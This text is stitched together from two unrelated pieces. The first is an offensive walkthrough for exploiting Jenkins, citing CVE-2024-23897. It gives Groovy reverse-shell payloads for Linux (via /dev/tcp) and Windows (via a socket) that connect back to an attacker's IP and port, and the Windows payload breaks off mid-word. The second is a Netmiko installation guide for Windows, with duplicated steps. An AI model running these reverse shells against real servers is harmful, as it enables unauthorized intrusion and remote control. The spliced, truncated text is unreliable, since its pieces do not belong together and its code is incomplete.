Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Netmiko, developed by kirk Byers is an open source python library based on Paramiko which simplifies SSH management to network devices and is primarily used for network automation tasks.
Installing Netmiko in linux is a matter of one single command but if you need to use Netmiko in your Windows PC, follow this process.
1) Install the latest version of Python.
2) Install Anaconda, which is an opensource distribution platform that you can install in Windows and other OS's (https://www.anaconda.com/download/)
Installing Netmiko in linux is a matter of one single command but if you need to use Netmiko in your Windows PC, follow this process.
1) Install the latest version of Python.
2) Install Anaconda, which is an opensource distribution platform that you can install in Windows and other OS's (https://www.anaconda.com/download/)
3) From the Anaconda Shell, run “conda install paramiko”.
4) From the Anaconda Shell, run “pip install scp”.
5) Now Install the Git for Windows.(https://www.git-scm.com/downloads).
Git is required for downloading and cloning all the Netmiko library files from Github.
6) From Git Bash window, Clone Netmiko using the following command
6) From Git Bash window, Clone Netmiko using the following command
git clone https://github.com/ktbyers/netmiko”
7) Once the installation is completed, change the directory to Netmiko using cd netmiko command.
8) execute python setup.py install from Git Bash Window. Once the installation is completed, go to your Windows Command prompt or Anaconda shell and check Netmiko from Python Interpreter shell.
9) Finally import paramiko and import netmiko, and start using it for python coding.